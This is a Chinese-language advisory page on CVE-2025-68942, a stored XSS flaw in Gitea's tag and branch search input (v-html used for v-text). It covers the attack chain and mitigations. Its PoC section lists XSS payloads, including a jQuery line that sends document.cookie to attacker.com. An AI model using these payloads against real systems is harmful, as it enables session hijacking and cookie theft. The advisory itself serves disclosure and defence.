IPBUF安全漏洞报告
English
CVE-2025-68942 CVSS 5.4 中危

CVE-2025-68942 Gitea搜索框XSS跨站脚本漏洞

披露日期: 2025-12-26

漏洞信息

漏洞编号
CVE-2025-68942
漏洞类型
XSS(跨站脚本攻击)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Gitea

相关标签

CVE-2025-68942GiteaXSS跨站脚本v-html存储型XSS前端安全Vue.jsGit中危漏洞

漏洞概述

CVE-2025-68942是Gitea官方于2025年12月披露的一个中危跨站脚本(XSS)漏洞。该漏洞影响Gitea 1.22.2之前的所有版本,漏洞根源在于创建标签(tags)和分支(branches)功能的搜索输入框实现中错误地使用了v-html指令而非v-text指令。v-html指令会直接将用户输入解析为HTML内容并渲染,这为攻击者提供了在页面中注入恶意JavaScript代码的机会。攻击者可以通过构造包含恶意脚本的标签名或分支名,当其他用户访问相关页面或触发特定操作时,恶意代码将在受害者浏览器中执行,从而实现会话劫持、敏感信息窃取、钓鱼攻击等恶意行为。由于该漏洞需要用户交互(UI:R)且需要低权限(PR:L),攻击门槛相对较低,在多用户协作场景下具有较大的实际威胁。Gitea作为流行的自托管Git服务软件,被广泛应用于各类企业和个人项目中,此漏洞可能影响大量部署实例的安全性。

技术细节

该漏洞是一个存储型XSS(Stored XSS)漏洞,问题出在Gitea前端组件的模板渲染逻辑中。在创建标签和分支功能模块中,搜索输入框使用了Vue.js的v-html指令来显示用户输入内容。v-html指令会直接将绑定值作为HTML片段解析并插入DOM,这意味着如果攻击者在创建标签或分支时输入恶意的HTML/JavaScript代码,这些代码会被永久存储在服务器端,并在其他用户查看相关页面时被浏览器执行。正常情况下应该使用v-text指令,它会将内容作为纯文本处理,自动转义HTML特殊字符,防止代码注入。攻击者只需在标签名或分支名中嵌入<script>标签或使用事件处理器(如onerror、onload等),即可实现持久化的恶意脚本执行。由于Gitea的标签和分支列表会在多个页面展示,攻击影响范围较广。建议开发者使用v-text替代v-html,或对所有用户输入进行严格的HTML实体编码。

攻击链分析

STEP 1
步骤1
攻击者访问目标Gitea实例并登录到具有创建标签或分支权限的账户
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的标签名或分支名,如<img src=x onerror=alert(document.cookie)>
STEP 3
步骤3
攻击者通过创建标签或分支功能将恶意payload提交到服务器,由于输入未被正确转义,payload被存储到数据库
STEP 4
步骤4
当其他用户访问该仓库的标签列表、分支列表或相关页面时,服务器从数据库读取恶意payload并通过v-html指令渲染到页面
STEP 5
步骤5
受害者浏览器接收到包含恶意脚本的HTML页面,执行注入的JavaScript代码,实现cookie窃取、会话劫持或其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-68942 PoC - Gitea XSS via Tag/Branch Name // Steps to reproduce: // 1. Navigate to Gitea repository // 2. Go to "Create Tag" or "Create Branch" feature // 3. In the search/name input, inject the following payload: // Basic script injection payload: // <script>alert(document.cookie)</script> // Alternative event handler payload: // <img src=x onerror=alert('XSS')> // Example using SVG and onload event: // <svg onload=alert(document.domain)> // jQuery-based payload for session hijacking: // <script>$.getJSON('https://attacker.com/steal?c='+document.cookie)</script> // The injected script will execute when: // - Other users view the tag/branch list // - Users access repository tags/branches page // - Webhooks or notifications display the tag/branch name // Note: This PoC demonstrates the vulnerability; actual exploitation // requires the payload to be stored and rendered via v-html instead of v-text

影响范围

Gitea < 1.22.2

防御指南

临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:1)限制普通用户创建标签和分支的权限,仅允许可信管理员操作;2)在Web应用防火墙(WAF)层面添加规则,检测并拦截包含XSS特征的请求;3)提醒用户不要点击来源不明的标签或分支链接;4)监控仓库活动日志,关注异常的标签/分支创建行为;5)考虑临时禁用创建标签和分支功能,待完成升级后再恢复。建议尽快安排计划性维护,将Gitea升级至官方发布的安全版本1.22.2。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表